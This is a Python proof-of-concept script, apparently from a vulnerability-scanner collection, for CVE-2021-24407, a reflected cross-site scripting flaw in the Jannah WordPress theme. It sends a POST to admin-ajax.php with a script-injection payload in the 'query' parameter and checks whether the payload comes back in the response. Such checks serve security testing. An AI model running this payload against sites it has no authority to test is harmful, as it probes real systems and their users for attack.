CVE-2021-24407.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Jannah < 5.4.5 - Reflected Cross-Site Scripting (XSS)''',
        "description": '''The Jannah WordPress theme before 5.4.5 did not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action, leading to a Reflected Cross-site Scripting (XSS) vulnerability.''',
        "severity": "medium",
        "references": [
            "https://wpscan.com/vulnerability/fba9f010-1202-4eea-a6f5-78865c084153", 
            "https://nvd.nist.gov/vuln/detail/CVE-2021-24407"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "cvss-score": "",
            "cve-id": "CVE-2021-24407",
            "cwe-id": "CWE-79"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2021", "wordpress", "xss", "wp-theme"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/wp-admin/admin-ajax.php"""
        method = "POST"
        data = """action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>"""
        headers = {'Accept': '*/*', 'Content-Type': 'application/x-www-form-urlencoded'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""</script><script>alert(document.domain)</script>""" in resp0.text) and ("""text/html""" in str(resp0.headers)) and (resp0.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url